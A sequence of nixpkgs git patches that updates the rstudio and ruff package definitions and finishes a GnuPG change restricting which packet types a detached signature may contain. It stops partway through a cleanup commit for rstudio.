-             case PKT_COMPRESSED:  rc = proc_compressed (c, pkt); break;
-             case PKT_ONEPASS_SIG: newpkt = add_onepass_sig (c, pkt); break;
-             case PKT_GPG_CONTROL: newpkt = add_gpg_control (c, pkt); break;
--            default: newpkt = 0; break;
-+            default:
-+	      log_assert(!c->signed_data.used);
-+	      newpkt = 0; break;
- 	    }
- 	}
-       else if (c->encrypt_only)
-diff --git a/g10/packet.h b/g10/packet.h
-index 5a14015a16c872fe7b0b15468598daf7a05ffc02..82dfe786b46051491e7015e64441678140defa9e 100644
---- a/g10/packet.h
-+++ b/g10/packet.h
-@@ -657,6 +657,7 @@ struct parse_packet_ctx_s
-   int free_last_pkt; /* Indicates that LAST_PKT must be freed.  */
-   int skip_meta;     /* Skip ring trust packets.  */
-   unsigned int n_parsed_packets;	/* Number of parsed packets.  */
-+  int sigs_only;     /* Only accept detached signature packets */
- };
- typedef struct parse_packet_ctx_s *parse_packet_ctx_t;
- 
-@@ -667,6 +668,7 @@ typedef struct parse_packet_ctx_s *parse_packet_ctx_t;
-     (a)->free_last_pkt = 0;         \
-     (a)->skip_meta = 0;             \
-     (a)->n_parsed_packets = 0;      \
-+    (a)->sigs_only = 0;             \
-   } while (0)
- 
- #define deinit_parse_packet(a) do { \
-diff --git a/g10/parse-packet.c b/g10/parse-packet.c
-index cea1f7ebc5daec3863ae963c1ab25500f86796fe..dca66ff427ea6778e536782ec6bda83584877342 100644
---- a/g10/parse-packet.c
-+++ b/g10/parse-packet.c
-@@ -738,6 +738,20 @@ parse (parse_packet_ctx_t ctx, PACKET *pkt, int onlykeypkts, off_t * retpos,
-             case PKT_ENCRYPTED_MDC:
-             case PKT_ENCRYPTED_AEAD:
-             case PKT_COMPRESSED:
-+              if (ctx->sigs_only)
-+                {
-+                  log_error (_("partial length packet of type %d in detached"
-+                               " signature\n"), pkttype);
-+                  rc = gpg_error (GPG_ERR_UNEXPECTED);
-+                  goto leave;
-+                }
-+              if (onlykeypkts)
-+                {
-+                  log_error (_("partial length packet of type %d in keyring\n"),
-+                             pkttype);
-+                  rc = gpg_error (GPG_ERR_UNEXPECTED);
-+                  goto leave;
-+                }
-               iobuf_set_partial_body_length_mode (inp, c & 0xff);
-               pktlen = 0;	/* To indicate partial length.  */
-               partial = 1;
-@@ -775,6 +789,20 @@ parse (parse_packet_ctx_t ctx, PACKET *pkt, int onlykeypkts, off_t * retpos,
- 	      rc = gpg_error (GPG_ERR_INV_PACKET);
- 	      goto leave;
- 	    }
-+	  else if (ctx->sigs_only)
-+	    {
-+	      log_error (_("indeterminate length packet of type %d in detached"
-+                           " signature\n"), pkttype);
-+	      rc = gpg_error (GPG_ERR_UNEXPECTED);
-+	      goto leave;
-+	    }
-+	  else if (onlykeypkts)
-+	    {
-+	      log_error (_("indeterminate length packet of type %d in"
-+                           " keyring\n"), pkttype);
-+	      rc = gpg_error (GPG_ERR_UNEXPECTED);
-+	      goto leave;
-+	    }
- 	}
-       else
- 	{
-@@ -828,7 +856,21 @@ parse (parse_packet_ctx_t ctx, PACKET *pkt, int onlykeypkts, off_t * retpos,
-       goto leave;
-     }
- 
--  if (with_uid && pkttype == PKT_USER_ID)
-+  if (ctx->sigs_only)
-+    switch (pkttype)
-+      {
-+      case PKT_SIGNATURE:
-+      case PKT_MARKER:
-+	break;
-+      default:
-+        log_error(_("Packet type %d not allowed in detached signature\n"),
-+                  pkttype);
-+	iobuf_skip_rest (inp, pktlen, partial);
-+	*skip = 1;
-+	rc = GPG_ERR_UNEXPECTED;
-+	goto leave;
-+      }
-+  else if (with_uid && pkttype == PKT_USER_ID)
-     /* If ONLYKEYPKTS is set to 2, then we never skip user id packets,
-        even if DO_SKIP is set.  */
-     ;
--- 
-2.36.1
-

From 642361effdd7ed3e585bda5f5e3067539835d062 Mon Sep 17 00:00:00 2001
From: TomaSajt <62384384+TomaSajt@users.noreply.github.com>
Date: Thu, 8 May 2025 19:27:54 +0200
Subject: [PATCH 1805/4511] rstudio{,-server}: 2024.12.1+563 -> 2025.05.0+496

(cherry picked from commit cd6a92d0f09e0f7964e95722f2e4c2dcfd101aa8)
---
 .../editors/rstudio/boost-1.86.patch          |  88 ---------
 pkgs/applications/editors/rstudio/default.nix | 182 +++++++++++-------
 .../rstudio/update-nan-and-node-abi.patch     |  70 -------
 3 files changed, 117 insertions(+), 223 deletions(-)
 delete mode 100644 pkgs/applications/editors/rstudio/boost-1.86.patch
 delete mode 100644 pkgs/applications/editors/rstudio/update-nan-and-node-abi.patch

diff --git a/pkgs/applications/editors/rstudio/boost-1.86.patch b/pkgs/applications/editors/rstudio/boost-1.86.patch
deleted file mode 100644
index 058eaf42e96d..000000000000
--- a/pkgs/applications/editors/rstudio/boost-1.86.patch
+++ /dev/null
@@ -1,88 +0,0 @@
-diff --git a/src/cpp/core/json/JsonRpc.cpp b/src/cpp/core/json/JsonRpc.cpp
-index d034ffe..4b08486 100644
---- a/src/cpp/core/json/JsonRpc.cpp
-+++ b/src/cpp/core/json/JsonRpc.cpp
-@@ -193,7 +193,7 @@ void JsonRpcResponse::setAfterResponse(
-    
- bool JsonRpcResponse::hasAfterResponse() const
- {
--   return afterResponse_;
-+   return !afterResponse_.empty();
- }
-    
-    
-diff --git a/src/cpp/session/modules/rmarkdown/NotebookExec.cpp b/src/cpp/session/modules/rmarkdown/NotebookExec.cpp
-index 5631a1f..0e3030b 100644
---- a/src/cpp/session/modules/rmarkdown/NotebookExec.cpp
-+++ b/src/cpp/session/modules/rmarkdown/NotebookExec.cpp
-@@ -193,7 +193,7 @@ void ChunkExecContext::connect()
- 
-    // leave an execution lock in this folder so it won't be moved if the notebook
-    // is saved while executing
--   auto lock = make_unique<ScopedFileLock>(
-+   auto lock = rstudio::core::make_unique<ScopedFileLock>(
-        FileLock::createDefault(),
-        outputPath_.completePath(kExecutionLock));
-    locks_.push_back(std::move(lock));
-@@ -204,7 +204,7 @@ void ChunkExecContext::connect()
-       initializeOutput();
- 
-    // capture conditions
--   auto pConditionCapture = make_unique<ConditionCapture>();
-+   auto pConditionCapture = rstudio::core::make_unique<ConditionCapture>();
-    pConditionCapture->connect();
-    captures_.push_back(std::move(pConditionCapture));
-    connections_.push_back(events().onCondition.connect(
-@@ -234,7 +234,7 @@ void ChunkExecContext::connect()
-          boost::bind(&ChunkExecContext::onFileOutput, this, _1, _2, 
-                      _3, ChunkOutputPlot, _4)));
- 
--   auto pPlotCapture = make_unique<PlotCapture>();
-+   auto pPlotCapture = rstudio::core::make_unique<PlotCapture>();
-    if (figWidth > 0 || figHeight > 0)
-    {
-       // user specified plot size, use it
-@@ -261,7 +261,7 @@ void ChunkExecContext::connect()
-          boost::bind(&ChunkExecContext::onFileOutput, this, _1, _2, _3, 
-                      ChunkOutputHtml, 0)));
- 
--   auto pHtmlCapture = make_unique<HtmlCapture>();
-+   auto pHtmlCapture = rstudio::core::make_unique<HtmlCapture>();
-    error = pHtmlCapture->connectHtmlCapture(
-             outputPath_,
-             outputPath_.getParent().completePath(kChunkLibDir),
-@@ -316,14 +316,14 @@ void ChunkExecContext::connect()
-    prevCharWidth_ = r::options::getOptionWidth();
-    r::options::setOptionWidth(charWidth_);
- 
--   auto pDirCapture = make_unique<DirCapture>();
-+   auto pDirCapture = rstudio::core::make_unique<DirCapture>();
-    error = pDirCapture->connectDir(docId_, workingDir_);
-    if (error)
-       LOG_ERROR(error);
-    captures_.push_back(std::move(pDirCapture));
- 
-    // begin capturing errors
--   auto pErrorCapture = make_unique<ErrorCapture>();
-+   auto pErrorCapture = rstudio::core::make_unique<ErrorCapture>();
-    pErrorCapture->connect();
-    captures_.push_back(std::move(pErrorCapture));
- 
-@@ -341,7 +341,7 @@ void ChunkExecContext::connect()
-          boost::bind(&ChunkExecContext::onFileOutput, this, _1, _2, _3, 
-                      ChunkOutputData, 0)));
- 
--   auto pDataCapture = make_unique<DataCapture>();
-+   auto pDataCapture = rstudio::core::make_unique<DataCapture>();
-    error = pDataCapture->connectDataCapture(
-             outputPath_,
-             options_.mergedOptions());
-@@ -661,7 +661,7 @@ void ChunkExecContext::initializeOutput()
- 
-    // leave an execution lock in this folder so it won't be moved if the notebook
-    // is saved while executing
--   auto lock = make_unique<ScopedFileLock>(
-+   auto lock = rstudio::core::make_unique<ScopedFileLock>(
-        FileLock::createDefault(),
-        outputPath.completePath(kExecutionLock));
-    locks_.push_back(std::move(lock));
diff --git a/pkgs/applications/editors/rstudio/default.nix b/pkgs/applications/editors/rstudio/default.nix
index ff70de589826..8ba7f9df78f5 100644
--- a/pkgs/applications/editors/rstudio/default.nix
+++ b/pkgs/applications/editors/rstudio/default.nix
@@ -1,47 +1,50 @@
 {
   lib,
   stdenv,
-  runCommand,
-  fetchzip,
+
+  server ? false, # build server version
+
   fetchFromGitHub,
+  fetchNpmDeps,
+  fetchYarnDeps,
+  fetchzip,
   replaceVars,
-  cmake,
-  boost186,
-  zlib,
-  openssl,
-  R,
-  fontconfig,
-  quarto,
-  libuuid,
-  hunspellDicts,
+  runCommand,
+
   ant,
+  cacert,
+  cmake,
+  git,
   jdk,
-  gnumake,
-  pandoc,
-  llvmPackages,
-  yaml-cpp,
-  soci,
-  sqlite,
-  apple-sdk_11,
-  xcbuild,
+  makeWrapper,
   nodejs,
   npmHooks,
-  fetchNpmDeps,
+  xcbuild,
   yarn,
   yarnConfigHook,
-  fetchYarnDeps,
   zip,
-  git,
-  makeWrapper,
+
+  apple-sdk_11,
+  boost187,
   electron_34,
-  server ? false, # build server version
+  fontconfig,
+  gnumake,
+  hunspellDicts,
+  libuuid,
+  llvmPackages,
+  openssl,
   pam,
+  pandoc,
+  quarto,
+  R,
+  soci,
+  sqlite,
+  zlib,
+
   nixosTests,
 }:
 
 let
-  # Note: we shouldn't use the latest electron here, since the node-abi dependency might
-  # need to be updated every time the latest electron gets a new abi version number
   electron = electron_34;
 
   mathJaxSrc = fetchzip {
@@ -53,8 +56,8 @@ let
   quartoSrc = fetchFromGitHub {
     owner = "quarto-dev";
     repo = "quarto";
-    rev = "7d1582d06250216d18696145879415e473a2ae4d";
-    hash = "sha256-AaE9EDT3tJieI403QGxAf+A/PEw1rmUdhdpy4WNf40o=";
+    rev = "8ee12b5d6bd49c7b212eae894bd011ffbeea1c48";
+    hash = "sha256-pTrWedYeG2SWQ4jl2fstKjsweWhj4aAvVDiSfkdU3No=";
   };
 
   hunspellDictionaries = lib.filter lib.isDerivation (lib.unique (lib.attrValues hunspellDicts));
@@ -76,62 +79,106 @@ let
 in
 stdenv.mkDerivation rec {
   pname = "RStudio";
-  version = "2024.12.1+563";
-
-  RSTUDIO_VERSION_MAJOR = lib.versions.major version;
-  RSTUDIO_VERSION_MINOR = lib.versions.minor version;
-  RSTUDIO_VERSION_PATCH = lib.versions.patch version;
-  RSTUDIO_VERSION_SUFFIX = "+" + toString (lib.tail (lib.splitString "+" version));
+  version = "2025.05.0+496";
 
   src = fetchFromGitHub {
     owner = "rstudio";
     repo = "rstudio";
     tag = "v${version}";
-    hash = "sha256-fguomJHs7FBffYfMlgWgnjLWK3uDZYX4Ip4asKZ8XVQ=";
+    hash = "sha256-yZy/fEYln/jGxErwJiWFgr9w0GvwtMwzpmmHf71chBQ=";
+  };
+
+  # sources fetched into _deps via cmake's FetchContent
+  extSrcs = stdenv.mkDerivation {
+    name = "${pname}-${version}-ext-srcs";
+    inherit src;
+
+    nativeBuildInputs = [
+      cacert
+      cmake
+      git
+    ];
+
+    installPhase = ''
+      runHook preInstall
+
+      # this will fail, since this is not meant to be a cmake entrypoint
+      # but it will fetch the dependencies regardless
+      cmake -S src/cpp/ext -B build || true
+
+      mkdir -p "$out"
+      cp -r build/_deps/*-src "$out/"
+      find "$out" -name .git -print0 | xargs -0 rm -rf
+
+      runHook postInstall
+    '';
+
+    dontConfigure = true;
+    dontBuild = true;
+    dontFixup = true;
+
+    outputHash = "sha256-YW+l0/RZf8ek217pfWTwsR4PTugMGHyW+vaZEwGjMas=";
+    outputHashAlgo = "sha256";
+    outputHashMode = "recursive";
   };
 
   nativeBuildInputs =
     [
       cmake
+      git
+
       ant
       jdk
+
       nodejs
       yarn
       yarnConfigHook
       zip
-      git
     ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [ xcbuild ]
+    ++ lib.optionals stdenv.hostPlatform.isDarwin [
+      xcbuild
+    ]
     ++ lib.optionals (!server) [
+      makeWrapper
       (nodejs.python.withPackages (ps: [ ps.setuptools ]))
       npmHooks.npmConfigHook
-      makeWrapper
     ];
 
   buildInputs =
     [
-      boost186
-      zlib
+      boost187
+      libuuid
       openssl
       R
-      libuuid
-      yaml-cpp
       soci
       sqlite.dev
     ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [ apple-sdk_11 ]
-    ++ lib.optionals server [ pam ]
-    ++ lib.optionals (!server) [ fontconfig ];
+    ++ lib.optionals stdenv.hostPlatform.isDarwin [
+      apple-sdk_11
+    ]
+    ++ lib.optionals (!server) [
+      fontconfig
+    ]
+    ++ lib.optionals server [
+      pam
+      zlib
+    ];
 
   cmakeFlags =
     [
       (lib.cmakeFeature "RSTUDIO_TARGET" (if server then "Server" else "Electron"))
-      (lib.cmakeBool "RSTUDIO_USE_SYSTEM_SOCI" true)
+
+      # don't try fetching the external dependencies already fetched in extSrcs
+      (lib.cmakeBool "FETCHCONTENT_FULLY_DISCONNECTED" true)
+
       (lib.cmakeBool "RSTUDIO_USE_SYSTEM_BOOST" true)
-      (lib.cmakeBool "RSTUDIO_USE_SYSTEM_YAML_CPP" true)
+      (lib.cmakeBool "RSTUDIO_USE_SYSTEM_SOCI" true)
+
       (lib.cmakeBool "RSTUDIO_DISABLE_CHECK_FOR_UPDATES" true)
       (lib.cmakeBool "QUARTO_ENABLED" true)
+      (lib.cmakeBool "RSTUDIO_ENABLE_COPILOT" false) # copilot-language-server is unfree
       (lib.cmakeBool "RSTUDIO_CRASHPAD_ENABLED" false) # This is a NOOP except on x86_64-darwin
+
       (lib.cmakeFeature "CMAKE_INSTALL_PREFIX" (
         (placeholder "out") + (if stdenv.hostPlatform.isDarwin then "/Applications" else "/lib/rstudio")
       ))
@@ -140,8 +187,17 @@ stdenv.mkDerivation rec {
       (lib.cmakeBool "RSTUDIO_INSTALL_FREEDESKTOP" stdenv.hostPlatform.isLinux)
     ];
 
-  # on Darwin, cmake uses find_library to locate R instead of using the PATH
-  env.NIX_LDFLAGS = "-L${R}/lib/R/lib";
+  env = {
+    ELECTRON_SKIP_BINARY_DOWNLOAD = "1";
+
+    # on Darwin, cmake uses find_library to locate R instead of using the PATH
+    NIX_LDFLAGS = "-L${R}/lib/R/lib";
+
+    RSTUDIO_VERSION_MAJOR = lib.versions.major version;
+    RSTUDIO_VERSION_MINOR = lib.versions.minor version;
+    RSTUDIO_VERSION_PATCH = lib.versions.patch version;
+    RSTUDIO_VERSION_SUFFIX = "+" + toString (lib.tail (lib.splitString "+" version));
+  };
 
   patches = [
     # Hack RStudio to only use the input R and provided libclang.
@@ -154,10 +210,7 @@ stdenv.mkDerivation rec {
 
     ./ignore-etc-os-release.patch
     ./dont-yarn-install.patch
-    ./boost-1.86.patch
     ./fix-darwin.patch
-    # needed for rebuilding for later electron versions
-    ./update-nan-and-node-abi.patch
   ];
 
   postPatch = ''
@@ -172,7 +225,7 @@ stdenv.mkDerivation rec {
 
   yarnOfflineCache = fetchYarnDeps {
     yarnLock = quartoSrc + "/yarn.lock";
-    hash = "sha256-48Q2MkfzXZSL3ly56WSjRVwU3fgRD8xivQobStBkk6Y=";
+    hash = "sha256-F+gqVNNhLmyrC+tJuElw7cpx5z/WLHOiYow/y86KR5c=";
   };
 
   dontYarnInstallDeps = true; # will call manually in preConfigure
@@ -187,14 +240,16 @@ stdenv.mkDerivation rec {
   npmDeps = fetchNpmDeps {
     name = "rstudio-${version}-npm-deps";
     inherit src;
-    patches = [ ./update-nan-and-node-abi.patch ];
     postPatch = "cd ${npmRoot}";
-    hash = "sha256-9VHse+nxr5A1EWuszQ6cnJAMqYiHFqHQ4OJ/TJq+XoI=";
+    hash = "sha256-ispV6FJdtOELtFNIZDn1lKbwvO/iTO8mrZ8nIOs2uhs=";
   };
 
-  env.ELECTRON_SKIP_BINARY_DOWNLOAD = "1";
-
   preConfigure = ''
+    # populate the directories used by cmake's FetchContent
+    mkdir -p build/_deps
+    cp -r "$extSrcs"/* build/_deps
+    chmod -R u+w build/_deps
+
     # set up node_modules directory inside quarto so that panmirror can be built
     mkdir src/gwt/lib/quarto
     cp -r --no-preserve=all ${quartoSrc}/* src/gwt/lib/quarto
@@ -221,12 +276,7 @@ stdenv.mkDerivation rec {
     mkdir -p dependencies/common/node
     # node used by cmake
     # version in cmake/globals.cmake (RSTUDIO_NODE_VERSION)
-    ln -s ${nodejs} dependencies/common/node/20.15.1
-
-    # node used at runtime
-    # version in cmake/globals.cmake (RSTUDIO_INSTALLED_NODE_VERSION)
-    # upstream uses the -patched suffix for the runtime node directory
-    ln -s ${nodejs} dependencies/common/node/20.15.1-patched
+    ln -s ${nodejs} dependencies/common/node/22.13.1
 
     ${lib.optionalString (!server) ''
       pushd $npmRoot
@@ -301,12 +351,13 @@ stdenv.mkDerivation rec {
 
   passthru = {
     inherit server;
-    tests = {
+    tests = lib.optionalAttrs stdenv.hostPlatform.isLinux {
       inherit (nixosTests) rstudio-server;
     };
   };
 
   meta = {
+    changelog = "https://github.com/rstudio/rstudio/tree/${src.rev}/version/news";
     description = "Set of integrated tools for the R language";
     homepage = "https://www.rstudio.com/";
     license = lib.licenses.agpl3Only;
@@ -316,6 +367,7 @@ stdenv.mkDerivation rec {
       tomasajt
     ];
     mainProgram = "rstudio" + lib.optionalString server "-server";
-    platforms = lib.platforms.linux ++ lib.platforms.darwin;
+    # rstudio-server on darwin is only partially supported by upstream
+    platforms = lib.platforms.linux ++ lib.optionals (!server) lib.platforms.darwin;
   };
 }
diff --git a/pkgs/applications/editors/rstudio/update-nan-and-node-abi.patch b/pkgs/applications/editors/rstudio/update-nan-and-node-abi.patch
deleted file mode 100644
index bdb62dfa8a5e..000000000000
--- a/pkgs/applications/editors/rstudio/update-nan-and-node-abi.patch
+++ /dev/null
@@ -1,70 +0,0 @@
-diff --git a/src/node/desktop/package-lock.json b/src/node/desktop/package-lock.json
-index a210521..9543abb 100644
---- a/src/node/desktop/package-lock.json
-+++ b/src/node/desktop/package-lock.json
-@@ -18,7 +18,7 @@
-         "line-reader": "0.4.0",
-         "lodash.debounce": "4.0.8",
-         "net-ipc": "2.2.0",
--        "node-abi": "3.71.0",
-+        "node-abi": "^3.74.0",
-         "node-addon-api": "8.3.0",
-         "node-system-fonts": "1.0.1",
-         "properties-reader": "2.3.0",
-@@ -56,7 +56,7 @@
-         "json-schema-to-typescript": "14.1.0",
-         "lint-staged": "15.2.10",
-         "mocha": "10.8.2",
--        "nan": "2.22.0",
-+        "nan": "^2.22.1",
-         "node-loader": "2.1.0",
-         "nyc": "17.1.0",
-         "prettier": "3.3.3",
-@@ -9538,9 +9538,9 @@
-       }
-     },
-     "node_modules/nan": {
--      "version": "2.22.0",
--      "resolved": "https://registry.npmjs.org/nan/-/nan-2.22.0.tgz",
--      "integrity": "sha512-nbajikzWTMwsW+eSsNm3QwlOs7het9gGJU5dDZzRTQGk03vyBOauxgI4VakDzE0PtsGTmXPsXTbbjVhRwR5mpw==",
-+      "version": "2.22.1",
-+      "resolved": "https://registry.npmjs.org/nan/-/nan-2.22.1.tgz",
-+      "integrity": "sha512-pfRR4ZcNTSm2ZFHaztuvbICf+hyiG6ecA06SfAxoPmuHjvMu0KUIae7Y8GyVkbBqeEIidsmXeYooWIX9+qjfRQ==",
-       "license": "MIT"
-     },
-     "node_modules/nanoid": {
-@@ -9667,9 +9667,9 @@
-       }
-     },
-     "node_modules/node-abi": {
--      "version": "3.71.0",
--      "resolved": "https://registry.npmjs.org/node-abi/-/node-abi-3.71.0.tgz",
--      "integrity": "sha512-SZ40vRiy/+wRTf21hxkkEjPJZpARzUMVcJoQse2EF8qkUWbbO2z7vd5oA/H6bVH6SZQ5STGcu0KRDS7biNRfxw==",
-+      "version": "3.74.0",
-+      "resolved": "https://registry.npmjs.org/node-abi/-/node-abi-3.74.0.tgz",
-+      "integrity": "sha512-c5XK0MjkGBrQPGYG24GBADZud0NCbznxNx0ZkS+ebUTrmV1qTDxPxSL8zEAPURXSbLRWVexxmP4986BziahL5w==",
-       "license": "MIT",
-       "dependencies": {
-         "semver": "^7.3.5"
-diff --git a/src/node/desktop/package.json b/src/node/desktop/package.json
-index 8b8ef47..287d879 100644
---- a/src/node/desktop/package.json
-+++ b/src/node/desktop/package.json
-@@ -54,7 +54,7 @@
-     "json-schema-to-typescript": "14.1.0",
-     "lint-staged": "15.2.10",
-     "mocha": "10.8.2",
--    "nan": "2.22.0",
-+    "nan": "^2.22.1",
-     "node-loader": "2.1.0",
-     "nyc": "17.1.0",
-     "prettier": "3.3.3",
-@@ -76,7 +76,7 @@
-     "line-reader": "0.4.0",
-     "lodash.debounce": "4.0.8",
-     "net-ipc": "2.2.0",
--    "node-abi": "3.71.0",
-+    "node-abi": "^3.74.0",
-     "node-addon-api": "8.3.0",
-     "node-system-fonts": "1.0.1",
-     "properties-reader": "2.3.0",

From a2da6fda27d4e80e8fa0eb6185b0da0a11301940 Mon Sep 17 00:00:00 2001
From: TomaSajt <62384384+TomaSajt@users.noreply.github.com>
Date: Sat, 7 Jun 2025 18:17:19 +0200
Subject: [PATCH 1806/4511] rstudio: 2025.05.0+496 -> 2025.05.1+513, unlock jdk
 version

(cherry picked from commit bc42fc0684e568768575a095894b2954da845c6a)
---
 pkgs/applications/editors/rstudio/default.nix | 4 ++--
 pkgs/top-level/all-packages.nix               | 4 +---
 2 files changed, 3 insertions(+), 5 deletions(-)

diff --git a/pkgs/applications/editors/rstudio/default.nix b/pkgs/applications/editors/rstudio/default.nix
index 8ba7f9df78f5..89fb17197e4a 100644
--- a/pkgs/applications/editors/rstudio/default.nix
+++ b/pkgs/applications/editors/rstudio/default.nix
@@ -79,13 +79,13 @@ let
 in
 stdenv.mkDerivation rec {
   pname = "RStudio";
-  version = "2025.05.0+496";
+  version = "2025.05.1+513";
 
   src = fetchFromGitHub {
     owner = "rstudio";
     repo = "rstudio";
     tag = "v${version}";
-    hash = "sha256-yZy/fEYln/jGxErwJiWFgr9w0GvwtMwzpmmHf71chBQ=";
+    hash = "sha256-KaolU82bxzAlYl+aYwlFljqsmNv0dn8XP1llaLK3LQE=";
   };
 
   # sources fetched into _deps via cmake's FetchContent
diff --git a/pkgs/top-level/all-packages.nix b/pkgs/top-level/all-packages.nix
index 04ab45ad4fdf..a1f6229d537e 100644
--- a/pkgs/top-level/all-packages.nix
+++ b/pkgs/top-level/all-packages.nix
@@ -13960,9 +13960,7 @@ with pkgs;
     backend = "wayland";
   };
 
-  rstudio = callPackage ../applications/editors/rstudio {
-    jdk = jdk8;
-  };
+  rstudio = callPackage ../applications/editors/rstudio { };
 
   rstudio-server = rstudio.override { server = true; };
 

From 9d5f9e53c21e6657256cc3ea901aa8013244f334 Mon Sep 17 00:00:00 2001
From: Gaetan Lepage <gaetan@glepage.com>
Date: Thu, 22 May 2025 21:27:45 +0200
Subject: [PATCH 1807/4511] ruff: 0.11.10 -> 0.11.11

Diff: https://github.com/astral-sh/ruff/compare/refs/tags/0.11.10...refs/tags/0.11.11

Changelog: https://github.com/astral-sh/ruff/releases/tag/0.11.11
(cherry picked from commit fee23863f04e8b495e4f80cd9a86926df3120fc1)
---
 pkgs/by-name/ru/ruff/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/ru/ruff/package.nix b/pkgs/by-name/ru/ruff/package.nix
index 617c53f2f3b1..c78d0bb75bbd 100644
--- a/pkgs/by-name/ru/ruff/package.nix
+++ b/pkgs/by-name/ru/ruff/package.nix
@@ -16,19 +16,19 @@
 
 rustPlatform.buildRustPackage (finalAttrs: {
   pname = "ruff";
-  version = "0.11.10";
+  version = "0.11.11";
 
   src = fetchFromGitHub {
     owner = "astral-sh";
     repo = "ruff";
     tag = finalAttrs.version;
-    hash = "sha256-8psRFBhOzcFYYOU1aLf2tQwSZeWyn3TjUtfMR8HJ4FE=";
+    hash = "sha256-PPryfsdge0kOb7RyEkGl7c3pFucRzt0+9tACet3nDGM=";
   };
 
   cargoBuildFlags = [ "--package=ruff" ];
 
   useFetchCargoVendor = true;
-  cargoHash = "sha256-KwTqm345bRwn5PXn/bTakiBNNjJCIstkXGpqtyCiK4k=";
+  cargoHash = "sha256-LAEuoGTvSXXtx74t1OX+TaGxgvI8UAB3bM+fwiSfFws=";
 
   nativeBuildInputs = [ installShellFiles ];
 

From 18fe0e3fe2e26dba8c34ededc359d7d2c7714297 Mon Sep 17 00:00:00 2001
From: Benjamin Sparks <b.sparks@alugha.com>
Date: Thu, 29 May 2025 15:31:39 +0200
Subject: [PATCH 1808/4511] ruff: 0.11.11 -> 0.11.12

Diff: astral-sh/ruff@refs/tags/0.11.11...refs/tags/0.11.12
Changelog: https://github.com/astral-sh/ruff/releases/tag/0.11.12
(cherry picked from commit b7692f391ce892202d57d9915e0564783dbc09c4)
---
 pkgs/by-name/ru/ruff/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/ru/ruff/package.nix b/pkgs/by-name/ru/ruff/package.nix
index c78d0bb75bbd..625968ee98b0 100644
--- a/pkgs/by-name/ru/ruff/package.nix
+++ b/pkgs/by-name/ru/ruff/package.nix
@@ -16,19 +16,19 @@
 
 rustPlatform.buildRustPackage (finalAttrs: {
   pname = "ruff";
-  version = "0.11.11";
+  version = "0.11.12";
 
   src = fetchFromGitHub {
     owner = "astral-sh";
     repo = "ruff";
     tag = finalAttrs.version;
-    hash = "sha256-PPryfsdge0kOb7RyEkGl7c3pFucRzt0+9tACet3nDGM=";
+    hash = "sha256-5oLMhP4PKzZTp0ab+Fitq97GAVLV/GJmR2JH9IXlfuU";
   };
 
   cargoBuildFlags = [ "--package=ruff" ];
 
   useFetchCargoVendor = true;
-  cargoHash = "sha256-LAEuoGTvSXXtx74t1OX+TaGxgvI8UAB3bM+fwiSfFws=";
+  cargoHash = "sha256-PIzR9d0O82M/b7HgmPigc2h8KwjSHi08vs3jAQyXbzs";
 
   nativeBuildInputs = [ installShellFiles ];
 

From 5e3b8025e309840c0e2aa675cbe5cc86c6b69f63 Mon Sep 17 00:00:00 2001
From: Gaetan Lepage <gaetan@glepage.com>
Date: Fri, 6 Jun 2025 00:23:10 +0200
Subject: [PATCH 1809/4511] ruff: 0.11.12 -> 0.11.13

Diff: https://github.com/astral-sh/ruff/compare/refs/tags/0.11.12...refs/tags/0.11.13

Changelog: https://github.com/astral-sh/ruff/releases/tag/0.11.13
(cherry picked from commit f9162386e9a2154259b92d6ece2c4a7a49d5ae72)
---
 pkgs/by-name/ru/ruff/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/ru/ruff/package.nix b/pkgs/by-name/ru/ruff/package.nix
index 625968ee98b0..4cad9bee4f43 100644
--- a/pkgs/by-name/ru/ruff/package.nix
+++ b/pkgs/by-name/ru/ruff/package.nix
@@ -16,19 +16,19 @@
 
 rustPlatform.buildRustPackage (finalAttrs: {
   pname = "ruff";
-  version = "0.11.12";
+  version = "0.11.13";
 
   src = fetchFromGitHub {
     owner = "astral-sh";
     repo = "ruff";
     tag = finalAttrs.version;
-    hash = "sha256-5oLMhP4PKzZTp0ab+Fitq97GAVLV/GJmR2JH9IXlfuU";
+    hash = "sha256-qa4TCvjk0zrXRdiTTqjJbUnCXQKpwiRwtA28y8ZuGpw=";
   };
 
   cargoBuildFlags = [ "--package=ruff" ];
 
   useFetchCargoVendor = true;
-  cargoHash = "sha256-PIzR9d0O82M/b7HgmPigc2h8KwjSHi08vs3jAQyXbzs";
+  cargoHash = "sha256-JkhvTONWKd3/2jI/yQU2jRfEQ2eAp3drup9SsYWOXNA=";
 
   nativeBuildInputs = [ installShellFiles ];
 

From 028c00e72872f77581da097597352e98c3dd230a Mon Sep 17 00:00:00 2001
From: TomaSajt <62384384+TomaSajt@users.noreply.github.com>
Date: Sat, 7 Jun 2025 18:26:52 +0200
Subject: [PATCH 1810/4511] rstudio: do minor cleanup

(cherry picked from commit 77e50143bbbbc3bdbd4dc2197f563fe59a7f92e5)
---
 pkgs/applications/editors/rstudio/default.nix | 90 +++++++++----------
 1 file changed, 44 insertions(+), 46 deletions(-)

diff --git a/pkgs/applications/editors/rstudio/default.nix b/pkgs/applications/editors/rstudio/default.nix
index 89fb17197e4a..758428d1f05a 100644
--- a/pkgs/applications/editors/rstudio/default.nix
+++ b/pkgs/applications/editors/rstudio/default.nix
@@ -224,7 +224,7 @@ stdenv.mkDerivation rec {
   '';
 
   yarnOfflineCache = fetchYarnDeps {
-    yarnLock = quartoSrc + "/yarn.lock";
+    src = quartoSrc;
     hash = "sha256-F+gqVNNhLmyrC+tJuElw7cpx5z/WLHOiYow/y86KR5c=";
   };
 
@@ -244,41 +244,43 @@ stdenv.mkDerivation rec {
     hash = "sha256-ispV6FJdtOELtFNIZDn1lKbwvO/iTO8mrZ8nIOs2uhs=";
   };
 
-  preConfigure = ''
-    # populate the directories used by cmake's FetchContent
-    mkdir -p build/_deps
-    cp -r "$extSrcs"/* build/_deps
-    chmod -R u+w build/_deps
+  preConfigure =
+    ''
+      # populate the directories used by cmake's FetchContent
+      mkdir -p build/_deps
+      cp -r "$extSrcs"/* build/_deps
+      chmod -R u+w build/_deps
 
-    # set up node_modules directory inside quarto so that panmirror can be built
-    mkdir src/gwt/lib/quarto
